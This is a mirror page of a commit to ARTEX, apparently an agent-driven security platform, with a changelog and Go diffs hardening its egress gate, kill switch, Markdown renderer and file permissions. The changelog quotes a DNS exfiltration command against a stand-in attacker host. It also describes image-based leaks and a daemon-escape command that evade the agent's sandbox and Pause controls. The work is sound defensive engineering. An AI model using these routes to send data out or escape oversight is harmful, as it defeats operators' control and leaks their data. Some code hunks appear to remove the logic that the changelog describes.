mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-12-05 06:03:55 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7c83ea36c4 |
+1
-1
@@ -6,7 +6,7 @@ All notable changes to this project are documented in this file. The format is b
|
||||
|
||||
### Security
|
||||
|
||||
- **The target gate no longer resolves names that nothing approved.** For every tool call of a gated scope, `CheckTargets` resolved each host name the call wrote with the panel's resolver before it looked at exemptions, grants or pins, and applied the per-call cap only afterwards. The lookup leaves the panel past the sandbox egress boundary and reaches the name server of the domain, so an agent could send data in the labels of a name (`curl http://<data>.attacker.example/`) without the command ever running, and a call naming hundreds of hosts cost two lookups and a pin query per host. A name is now resolved only when a stored exemption on the target, an operator-approved egress grant or an active pin on any port of the name covers it. A name that nothing has approved is not resolved: it gets an approval request that shows the name only. When the operator approves it, the platform resolves the name once and runs the IP block rules on every address it resolves to. If even one address is blocked, the approval is refused: nothing is pinned, the request is closed, and the waiting call is refused with `TARGET_DENIED` (the approver sees the request as already decided: HTTP 409, "Already decided in ARTEX" in a chat). A clean name still pins the addresses it resolved to, and later calls and dials compare against that pin as before. The cap of five targets to request per call is applied before any lookup, and the pins of the scope are read once per call. Behaviour change: the first request for a new name lists no addresses; a new name that does not resolve raises an approval request instead of `TARGET_RESOLVE_FAILED`, and approving it is refused (the request stays open) while the name does not resolve.
|
||||
- **Pausing or deleting a task in local mode stops only that task's processes.** With the sandbox off and the executor uid drop on, `Engine.Pause` and `Engine.BeginDelete` sent SIGTERM and then SIGKILL to every process running as the executor uid and never looked at the task directory. Every task runs as that uid, so pausing one task (from the UI, the API, the chat bridge or the Auto agent's `pause_task`) also killed the agents of every other running task, the shared browser, and any process of that uid on the host, even one the server never started. The kill switch now selects a process only when the server started it (escaped daemons are reparented to the server, which is a child subreaper) and its subtree belongs to the task: walking down from the server, the first process that names a task decides for everything below it, through the new `ARTEX_EXEC_TASK` variable that the planner and the worker put in the environment of their Bash, or else through a working directory under `tasks/<id>`. A process group is signalled as a whole only when every live member belongs to the task. With the privilege drop off the same scoping replaces the old rule, which killed every descendant in another process group, so it crossed tasks too. Behaviour change: a process that was reparented to the server, left the task directory and cleared `ARTEX_EXEC_TASK` (for example `cd /; env -i setsid daemon`) is no longer killed by Pause; stdio MCP servers, which start outside the task directory, are left to the end of the agent run, which closes them. Sandbox mode is unchanged.
|
||||
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
|
||||
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
|
||||
- **Saved LLM profiles and run-time completions go through the model URL guard.** The connection test refused a `base_url` or proxy on a loopback, private or instance-metadata address, but saving a profile accepted it, and every completion of a task, chat or Agent bound to that profile was sent there with the profile's stored API key. Saving a profile (`POST /api/llm/profiles`) and the legacy `POST /api/llm` now refuse what the connection test refuses, and every completion provider the server builds validates the proxy and each request URL before sending, checks every connection on the address it dials (so a name that later resolves to a refused address is still refused), validates redirects and keeps them on the configured origin. The existing allowances are unchanged: an exact `host:port` listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` (for example Ollama or vLLM on the host or the Docker network) is accepted at save and at run time, and an Ollama profile on the built-in default `http://127.0.0.1:11434/v1` (an empty base URL) keeps working without it. Behaviour change: a stored profile, or an `ARTEX_LLM_*` environment config, whose endpoint or proxy points at a loopback, LAN or Docker-network address not listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` stops working (each request fails with the guard's refusal) until its `host:port` is added there; a SOCKS5 proxy on a profile is refused, as the connection test already refused it; and a profile host that does not resolve cannot be saved.
|
||||
|
||||
+2
-2
@@ -681,8 +681,8 @@ func (p *Planner) planOnce(ctx context.Context, taskID int64, as *db.AssetStore,
|
||||
DeepSeekSearchAPIKey: p.webSearch.DeepSeekAPIKey,
|
||||
DeepSeekSearchModel: p.webSearch.DeepSeekModel,
|
||||
WebSearchProxy: p.webSearch.Proxy,
|
||||
BashEnv: proxyEnv(p.proxyAddr, p.proxyCACert), // Bash subcommands go through the proxy + trust its CA by default
|
||||
WorkingDir: taskDir, // the main run directory <workDir>/tasks/<taskID>/main
|
||||
BashEnv: append(proxyEnv(p.proxyAddr, p.proxyCACert), taskEnv(taskID)), // Bash subcommands go through the proxy + trust its CA by default
|
||||
WorkingDir: taskDir, // the main run directory <workDir>/tasks/<taskID>/main
|
||||
ToolOutputDir: TaskToolOutputDir(p.workDir, taskID, taskDir),
|
||||
MaxTurns: p.turnCap(ctx), // 0 = unlimited; clamped by task turn budget and forced wrap-up cap
|
||||
MaxDuration: maxDur, // 0=unlimited; with a deadline = time remaining until it
|
||||
|
||||
+11
-1
@@ -268,6 +268,16 @@ func proxyEnv(proxyAddr, caCert string) []string {
|
||||
return env
|
||||
}
|
||||
|
||||
// ExecTaskEnv names the task in the environment of the Bash processes that an
|
||||
// agent run of the task starts. The local kill switch (server/killswitch_unix.go)
|
||||
// reads it to tell one task's processes from another's, since every task runs
|
||||
// as the same executor uid. It is not a secret and not a boundary: a process can
|
||||
// change it, for its own children only.
|
||||
const ExecTaskEnv = "ARTEX_EXEC_TASK"
|
||||
|
||||
// taskEnv returns the ExecTaskEnv entry for taskID.
|
||||
func taskEnv(taskID int64) string { return ExecTaskEnv + "=" + strconv.FormatInt(taskID, 10) }
|
||||
|
||||
// workerDefaultTmpl is the built-in EDITABLE body (section [A]) of the worker
|
||||
// system prompt, seeded into agent_prompts. The trafficTool block and the
|
||||
// intermediate artifact output rules are NOT here — they are code-owned and
|
||||
@@ -720,7 +730,7 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
|
||||
WebSearchProxy: w.webSearch.Proxy,
|
||||
// Bash subcommands' HTTP goes through the recording proxy + trusts its CA by
|
||||
// default (tools need no -x/-k).
|
||||
BashEnv: proxyEnv(w.proxyAddr, w.proxyCACert),
|
||||
BashEnv: append(proxyEnv(w.proxyAddr, w.proxyCACert), taskEnv(taskID)),
|
||||
WorkingDir: runDir,
|
||||
MaxTurns: w.turnCap(ctx), // 0 = unlimited (configurable in agent management); clamped by the intent budget
|
||||
// Wall-clock budget, judged at turn boundaries without interrupting mid-flight;
|
||||
|
||||
+1
-22
@@ -345,22 +345,6 @@ func (d *DB) TargetRequestKey(id int64) (string, error) {
|
||||
// approval returns ErrTargetGateDisabled after committing the denial. If the
|
||||
// pin cannot be written the row stays pending.
|
||||
func (d *DB) ResolveTargetRequest(id int64, allowed bool, approver, remoteAddr string) (pin *TargetPin, ok bool, err error) {
|
||||
return d.ResolveTargetRequestWith(id, allowed, approver, remoteAddr, nil)
|
||||
}
|
||||
|
||||
// TargetAddresses are the addresses resolved for a target request that was
|
||||
// raised by name only, after a human approved it.
|
||||
type TargetAddresses struct {
|
||||
IPs []string
|
||||
Resolver string
|
||||
ResolvedAt time.Time
|
||||
}
|
||||
|
||||
// ResolveTargetRequestWith is ResolveTargetRequest for a request the gate
|
||||
// raised by name only (a name nothing approved is not resolved before a human
|
||||
// approves it): on approval, resolved gives the addresses to pin when the
|
||||
// request displays none. A request that displays addresses ignores resolved.
|
||||
func (d *DB) ResolveTargetRequestWith(id int64, allowed bool, approver, remoteAddr string, resolved *TargetAddresses) (pin *TargetPin, ok bool, err error) {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
@@ -421,11 +405,6 @@ WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Sca
|
||||
if len(audit.Targets) != 1 {
|
||||
return nil, false, fmt.Errorf("target request %d records %d targets, want 1", id, len(audit.Targets))
|
||||
}
|
||||
reason = "user approved the target; the displayed addresses were pinned"
|
||||
if t := &audit.Targets[0]; len(t.ResolvedIPs) == 0 && resolved != nil {
|
||||
t.ResolvedIPs, t.Resolver, t.ResolvedAt = resolved.IPs, resolved.Resolver, resolved.ResolvedAt
|
||||
reason = "user approved the target by name; the addresses it resolved to after the approval were pinned"
|
||||
}
|
||||
scope := TargetScopeRef{ConversationID: convID.Int64}
|
||||
if taskID.Valid {
|
||||
if scope.TaskID, err = strconv.ParseInt(taskID.String, 10, 64); err != nil {
|
||||
@@ -435,7 +414,7 @@ WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Sca
|
||||
if pin, err = writeTargetPin(tx, scope, id, &audit.Targets[0], approver, remoteAddr); err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
status, action = "allowed", "allow"
|
||||
status, action, reason = "allowed", "allow", "user approved the target; the displayed addresses were pinned"
|
||||
// A plain target request is host-level: no single call owns its result.
|
||||
execution = "unknown"
|
||||
if audit.MergedAsk && audit.Correlation == "exact" {
|
||||
|
||||
+3
-76
@@ -979,19 +979,11 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
|
||||
|
||||
var ErrAlreadyDecided = errors.New("approval already decided or does not exist; please refresh the list")
|
||||
|
||||
// ErrTargetAddressBlocked reports an approval of a request raised by name whose
|
||||
// name resolved, on approval, to an address an asset block rule refuses. Nothing
|
||||
// is pinned and the request is closed as denied by the system; the error wraps
|
||||
// ErrAlreadyDecided, as a click the system turned into a denial does.
|
||||
var ErrTargetAddressBlocked = errors.New("the approved name resolves to an address an asset block rule refuses")
|
||||
|
||||
// Decide resolves a pending request. Called by the HTTP decide endpoint.
|
||||
// approver (subject of the session token) and remoteAddr identify the human
|
||||
// behind the decision; they are recorded in the row's audit. On a target
|
||||
// request "allowed" also pins the addresses the request displayed (for a name
|
||||
// requested without addresses, the addresses it resolves to on approval), and
|
||||
// both values go to the pin: a human decision is the only thing that creates a
|
||||
// pin.
|
||||
// request "allowed" also pins the addresses the request displayed, and both
|
||||
// values go to the pin: a human decision is the only thing that creates a pin.
|
||||
func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr string) error {
|
||||
status := "denied"
|
||||
if allowed {
|
||||
@@ -1007,13 +999,7 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr
|
||||
}
|
||||
var resolved bool
|
||||
if targetKey != "" {
|
||||
var addrs *db.TargetAddresses
|
||||
if allowed {
|
||||
if addrs, err = i.resolveApprovedName(pendingID); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
_, resolved, err = i.db.ResolveTargetRequestWith(pendingID, allowed, approver, remoteAddr, addrs)
|
||||
_, resolved, err = i.db.ResolveTargetRequest(pendingID, allowed, approver, remoteAddr)
|
||||
} else {
|
||||
resolved, err = i.db.ResolveInterceptBy(pendingID, status, action, reason, "human", approver, remoteAddr)
|
||||
}
|
||||
@@ -1032,62 +1018,3 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr
|
||||
i.pending.resolve(pendingID, allowed)
|
||||
return nil
|
||||
}
|
||||
|
||||
// resolveApprovedName resolves the name of a target request the gate raised by
|
||||
// name only, now that a human approved it, and returns the addresses to pin.
|
||||
// It returns nil for any other request: those pin the addresses they display.
|
||||
// A name that does not resolve is refused like a request without addresses,
|
||||
// and the request stays open.
|
||||
func (i *Interceptor) resolveApprovedName(pendingID int64) (*db.TargetAddresses, error) {
|
||||
detail, err := i.db.GetInterceptDetail(pendingID)
|
||||
if err != nil || detail == nil || detail.Audit == nil || len(detail.Audit.Targets) != 1 {
|
||||
return nil, err
|
||||
}
|
||||
t := detail.Audit.Targets[0]
|
||||
if t.Kind != TargetDomain || len(t.ResolvedIPs) != 0 {
|
||||
return nil, nil
|
||||
}
|
||||
res, err := i.resolve.lookup(context.Background(), t.Host, true)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%w: %s did not resolve after the approval (%v)", db.ErrTargetPinEmpty, t.Host, err)
|
||||
}
|
||||
// The addresses meet the asset block rules before anything is pinned, as
|
||||
// the gate matches every address it resolves. One blocked address refuses
|
||||
// the whole approval: a pin never holds a blocked address, and a partial
|
||||
// pin would cover a name that still answers it. A block is final in the
|
||||
// gate (it opens no request), so the request is closed as denied by the
|
||||
// system instead of left open for an approval that can never pin.
|
||||
ref, err := detailScope(detail)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rules, err := i.targets.BlockRules(ref)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("the asset rules could not be read: %w", err)
|
||||
}
|
||||
ct := &checkedTarget{Target: Target{Kind: t.Kind, Host: t.Host, Port: t.Port}, ips: res.ips}
|
||||
if rule, hit := blockRule(rules, ct); hit {
|
||||
reason := fmt.Sprintf("%s resolved on approval to %s, and an asset rule blocks it, so nothing was pinned. %s",
|
||||
ct.Target, strings.Join(res.ips, ", "), rule.Reason())
|
||||
if _, err := i.settleTargetRequest(pendingID, "denied", reason); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return nil, fmt.Errorf("%w: %w: %s", ErrAlreadyDecided, ErrTargetAddressBlocked, reason)
|
||||
}
|
||||
return &db.TargetAddresses{IPs: res.ips, Resolver: i.resolve.name(), ResolvedAt: res.at}, nil
|
||||
}
|
||||
|
||||
// detailScope is the scope of a target request row.
|
||||
func detailScope(d *db.InterceptDetail) (db.TargetScopeRef, error) {
|
||||
if d.TaskID != nil {
|
||||
id, err := strconv.ParseInt(*d.TaskID, 10, 64)
|
||||
if err != nil {
|
||||
return db.TargetScopeRef{}, fmt.Errorf("target request %d: task id %q: %w", d.ID, *d.TaskID, err)
|
||||
}
|
||||
return db.TargetScopeRef{TaskID: id}, nil
|
||||
}
|
||||
if d.ConversationID != nil {
|
||||
return db.TargetScopeRef{ConversationID: *d.ConversationID}, nil
|
||||
}
|
||||
return db.TargetScopeRef{}, fmt.Errorf("target request %d names no scope", d.ID)
|
||||
}
|
||||
|
||||
@@ -195,7 +195,7 @@ func notCovered(r TargetRequest, scope TargetScope) string {
|
||||
return fmt.Sprintf("%s now resolves to %s, outside pin v%d (%s) of %s",
|
||||
r.Host, strings.Join(r.ResolvedIPs, ", "), r.Pin.Version, strings.Join(r.Pin.PinnedIPs, ", "), scope.scopeName())
|
||||
}
|
||||
if r.Kind != TargetDomain || len(r.ResolvedIPs) == 0 {
|
||||
if r.Kind != TargetDomain {
|
||||
return fmt.Sprintf("%s is not approved for %s", r.Host, scope.scopeName())
|
||||
}
|
||||
return fmt.Sprintf("%s resolves to %s and is not approved for %s", r.Host, strings.Join(r.ResolvedIPs, ", "), scope.scopeName())
|
||||
|
||||
@@ -174,7 +174,7 @@ func TestPinnedDialScopeUnreadableFailsClosed(t *testing.T) {
|
||||
{"nil interceptor", func(g *gateFixture) { g.scope.Interceptor = nil }, "tcp", "app.example.com:443", 0},
|
||||
{"task id", func(g *gateFixture) { g.scope.TaskID = "seven" }, "tcp", "app.example.com:443", 0},
|
||||
{"rules", func(g *gateFixture) { g.store.fail["BlockRules"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||
{"pins", func(g *gateFixture) { g.store.fail["ScopePins"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||
{"pins", func(g *gateFixture) { g.store.fail["ActivePins"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||
{"exemptions", func(g *gateFixture) { g.store.fail["Exemptions"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||
{"address", nil, "tcp", "app.example.com", 1},
|
||||
{"port", nil, "tcp", "app.example.com:0", 1},
|
||||
|
||||
+44
-164
@@ -38,9 +38,9 @@ type targetStore interface {
|
||||
// BlockRules returns the asset block rules that apply to the scope: the
|
||||
// global ones and, for a task, its own. Allow rules play no role in the gate.
|
||||
BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptRule, error)
|
||||
// ScopePins returns the active pins of the scope. The gate reads them once
|
||||
// per call and picks the candidates of each target with pinsFor.
|
||||
ScopePins(scope db.TargetScopeRef) ([]*db.TargetPin, error)
|
||||
// ActivePins returns the active pins that may cover (host, port) in scope,
|
||||
// the pin on the exact port first.
|
||||
ActivePins(scope db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error)
|
||||
// EgressGrants returns the normalized egress entries an operator approved
|
||||
// for the scope's task: its approved task_scope rows and the entries
|
||||
// frozen by approved company grants. Task allow rules play no role in the
|
||||
@@ -66,27 +66,8 @@ func (s dbTargetStore) BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptR
|
||||
return append(rules, block...), nil
|
||||
}
|
||||
|
||||
func (s dbTargetStore) ScopePins(scope db.TargetScopeRef) ([]*db.TargetPin, error) {
|
||||
pins, err := s.d.ListTargetPins(scope)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return slices.DeleteFunc(pins, func(p *db.TargetPin) bool { return p.Status != db.TargetPinActive }), nil
|
||||
}
|
||||
|
||||
// pinsFor returns the active pins that may cover (host, port), the pin on the
|
||||
// exact port first, as db.ActiveTargetPins does: a target on a declared port
|
||||
// has the pin on that port and the pin on port 0 as candidates, a target whose
|
||||
// port is not declared only the pin on port 0.
|
||||
func pinsFor(pins []*db.TargetPin, host string, port int) []*db.TargetPin {
|
||||
var out []*db.TargetPin
|
||||
for _, p := range pins {
|
||||
if p.Status == db.TargetPinActive && p.Host == host && (p.Port == port || p.Port == 0) {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
slices.SortStableFunc(out, func(a, b *db.TargetPin) int { return b.Port - a.Port })
|
||||
return out
|
||||
func (s dbTargetStore) ActivePins(scope db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error) {
|
||||
return s.d.ActiveTargetPins(scope, host, port)
|
||||
}
|
||||
|
||||
func (s dbTargetStore) EgressGrants(scope db.TargetScopeRef) ([]db.ScopeEgress, error) {
|
||||
@@ -114,18 +95,11 @@ func (s dbTargetStore) LogDecision(r db.TargetDecision) error {
|
||||
// rules, exemptions, resolution and the pin lookup. It creates no approval
|
||||
// request and never waits.
|
||||
//
|
||||
// Only a name that something already approved is resolved: a stored exemption,
|
||||
// an operator-approved egress grant or a pin that names it. A lookup goes out
|
||||
// through the panel's resolver, past the sandbox egress boundary, so a name
|
||||
// nothing approved is never looked up: it is requested by name, and resolved
|
||||
// when a human approves it (Decide).
|
||||
//
|
||||
// A block is reported in the result (Code, Reason and the target that caused
|
||||
// it) and logged as a decided row. Otherwise the returned requests are the
|
||||
// targets no pin covers, each with the addresses a human has to read (none for
|
||||
// a name that was not resolved); the caller passes them to RequestTargets and
|
||||
// checks again after the decisions. No request and no code means the call may
|
||||
// run.
|
||||
// targets no pin covers, each with the addresses a human has to read; the
|
||||
// caller passes them to RequestTargets and checks again after the decisions.
|
||||
// No request and no code means the call may run.
|
||||
//
|
||||
// With the gate off the call returns at once: nothing is extracted, resolved,
|
||||
// read or written.
|
||||
@@ -157,39 +131,6 @@ type targetCheck struct {
|
||||
fresh bool
|
||||
// checked is what the run decided about each target, read by dialTarget.
|
||||
checked []*checkedTarget
|
||||
// pins are the active pins of the scope, read once per run (pinsRead).
|
||||
pins []*db.TargetPin
|
||||
pinsRead bool
|
||||
}
|
||||
|
||||
// activePins returns the active pins that may cover (host, port). The pins of
|
||||
// the scope are read on the first call of a run and reused for every target.
|
||||
func (c *targetCheck) activePins(host string, port int) ([]*db.TargetPin, error) {
|
||||
if err := c.readPins(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return pinsFor(c.pins, host, port), nil
|
||||
}
|
||||
|
||||
// namePinned reports whether a human approved the name on some port: an
|
||||
// active pin of the scope holds it.
|
||||
func (c *targetCheck) namePinned(host string) (bool, error) {
|
||||
if err := c.readPins(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return slices.ContainsFunc(c.pins, func(p *db.TargetPin) bool { return p.Host == host }), nil
|
||||
}
|
||||
|
||||
func (c *targetCheck) readPins() error {
|
||||
if c.pinsRead {
|
||||
return nil
|
||||
}
|
||||
pins, err := c.i.targets.ScopePins(c.ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.pins, c.pinsRead = pins, true
|
||||
return nil
|
||||
}
|
||||
|
||||
// What let a target pass, recorded in checkedTarget.cover.
|
||||
@@ -210,9 +151,6 @@ type checkedTarget struct {
|
||||
err error // the name did not resolve
|
||||
exemptVoid bool
|
||||
cover string // what let the target pass; empty when nothing did
|
||||
// unresolved: a name no stored exemption, grant or pin names. It is never
|
||||
// resolved by the check and is requested by name.
|
||||
unresolved bool
|
||||
}
|
||||
|
||||
func (t Target) String() string {
|
||||
@@ -276,6 +214,17 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", t, rule.Reason()))
|
||||
}
|
||||
}
|
||||
// Only then are the names resolved, and the rules matched on the addresses.
|
||||
// A name the configuration exempts is never resolved.
|
||||
for _, ct := range checked {
|
||||
if ct.Kind != TargetDomain || ex.derived[db.TargetKey(ct.Host, ct.Port)] {
|
||||
continue
|
||||
}
|
||||
c.resolve(ct, c.fresh)
|
||||
if rule, hit := blockRule(rules, ct); hit {
|
||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
||||
}
|
||||
}
|
||||
|
||||
i.mu.RLock()
|
||||
proxied := i.upstreamProxy
|
||||
@@ -290,40 +239,31 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
||||
direct := DirectHop(c.ctx)
|
||||
nameOnly := !direct && ((proxied != nil && proxied()) || (toolProxy != nil && toolProxy(c.tool)))
|
||||
|
||||
// The decision on each target, in the order the call declares them. slots
|
||||
// holds the request of a target that no pin covers.
|
||||
slots := make([]*TargetRequest, len(checked))
|
||||
var unpinned []TargetRequest
|
||||
var uses []func()
|
||||
decide := func(n int, ct *checkedTarget) TargetResult {
|
||||
for _, ct := range checked {
|
||||
key := db.TargetKey(ct.Host, ct.Port)
|
||||
if ex.derived[key] {
|
||||
ct.cover = coverDerived
|
||||
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
|
||||
return TargetResult{}
|
||||
continue
|
||||
}
|
||||
if ex.stored[key] {
|
||||
if exemptionHolds(ct) {
|
||||
ct.cover = coverStored
|
||||
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
|
||||
return TargetResult{}
|
||||
continue
|
||||
}
|
||||
// A void exemption is not a block: the target goes on like any other.
|
||||
ct.exemptVoid = true
|
||||
}
|
||||
if ct.unresolved {
|
||||
// Requested by name: the addresses are resolved when a human
|
||||
// approves it, and checked by the next run on the pin.
|
||||
slots[n] = &TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, Reason: "no_pin"}
|
||||
return TargetResult{}
|
||||
}
|
||||
if ct.err != nil {
|
||||
// Checked before the grants: a granted name that does not resolve
|
||||
// fails closed like any other name. Nothing was resolved, so no
|
||||
// address ever met the IP block rules, and an approval could pin
|
||||
// nothing; passing on the grant alone would turn a lookup failure
|
||||
// into a silent allow.
|
||||
_, res := c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
||||
return res
|
||||
return c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
||||
}
|
||||
if scopeGrantCover(grants, ct) {
|
||||
// The operator already approved this address space: the grant is a
|
||||
@@ -337,12 +277,11 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
||||
ct.cover = coverNameOnly
|
||||
}
|
||||
uses = append(uses, func() { c.scopeGrantUsed(ct, grantsDigest) })
|
||||
return TargetResult{}
|
||||
continue
|
||||
}
|
||||
pins, err := c.activePins(ct.Host, ct.Port)
|
||||
pins, err := i.targets.ActivePins(c.ref, ct.Host, ct.Port)
|
||||
if err != nil {
|
||||
_, res := c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
|
||||
return res
|
||||
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
|
||||
}
|
||||
pin := coveringPin(pins, ct.ips, nameOnly, direct)
|
||||
if pin == nil && ct.Kind == TargetDomain && !c.fresh {
|
||||
@@ -350,12 +289,10 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
||||
// pins are resolved now, never taken from the cache. A fresh run
|
||||
// already has them.
|
||||
if c.resolve(ct, true); ct.err != nil {
|
||||
_, res := c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
||||
return res
|
||||
return c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
||||
}
|
||||
if rule, hit := blockRule(rules, ct); hit {
|
||||
_, res := c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
||||
return res
|
||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
||||
}
|
||||
pin = coveringPin(pins, ct.ips, nameOnly, direct)
|
||||
}
|
||||
@@ -365,7 +302,7 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
||||
ct.cover = coverNameOnly
|
||||
}
|
||||
uses = append(uses, func() { c.pinUsed(ct, pin, nameOnly) })
|
||||
return TargetResult{}
|
||||
continue
|
||||
}
|
||||
req := TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, ResolvedIPs: ct.ips,
|
||||
Resolver: ct.resolver, ResolvedAt: ct.resolvedAt, Reason: "no_pin", ExemptVoid: ct.exemptVoid}
|
||||
@@ -374,64 +311,22 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
||||
// the exact port when both exist), so that an approval extends that pin.
|
||||
req.Port, req.Reason, req.Pin = pins[0].Port, "new_ip", pins[0]
|
||||
}
|
||||
slots[n] = &req
|
||||
return TargetResult{}
|
||||
}
|
||||
requests := func() []TargetRequest {
|
||||
var out []TargetRequest
|
||||
for _, r := range slots {
|
||||
if r != nil && !hasRequest(out, *r) {
|
||||
out = append(out, *r)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// First every target that needs no lookup: a derived exemption, an IP
|
||||
// literal or a range, and a name that nothing approved. A name is resolved
|
||||
// only when a stored exemption on the target, an operator-approved grant or
|
||||
// a pin on any port of the name names it; any other name is requested by
|
||||
// name and never looked up here, so an agent cannot send data to a name
|
||||
// server through the labels of a name.
|
||||
var named []int
|
||||
for n, ct := range checked {
|
||||
if ct.Kind == TargetDomain && !ex.derived[db.TargetKey(ct.Host, ct.Port)] {
|
||||
pinned, err := c.namePinned(ct.Host)
|
||||
if err != nil {
|
||||
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
|
||||
}
|
||||
if pinned || ex.stored[db.TargetKey(ct.Host, ct.Port)] || scopeGrantCover(grants, ct) {
|
||||
named = append(named, n)
|
||||
continue
|
||||
}
|
||||
ct.unresolved = true
|
||||
}
|
||||
if res := decide(n, ct); res.Code != "" {
|
||||
return nil, res
|
||||
if !hasRequest(unpinned, req) {
|
||||
unpinned = append(unpinned, req)
|
||||
}
|
||||
}
|
||||
// The cap applies before any lookup: a call that already names too many
|
||||
// targets to request resolves nothing.
|
||||
if unpinned := requests(); len(unpinned) > maxUnpinnedTargets {
|
||||
return c.tooMany(unpinned)
|
||||
}
|
||||
// Then the names something approved are resolved, and the rules matched on
|
||||
// the addresses, before any of them is decided.
|
||||
for _, n := range named {
|
||||
ct := checked[n]
|
||||
c.resolve(ct, c.fresh)
|
||||
if rule, hit := blockRule(rules, ct); hit {
|
||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
||||
}
|
||||
}
|
||||
for _, n := range named {
|
||||
if res := decide(n, checked[n]); res.Code != "" {
|
||||
return nil, res
|
||||
}
|
||||
}
|
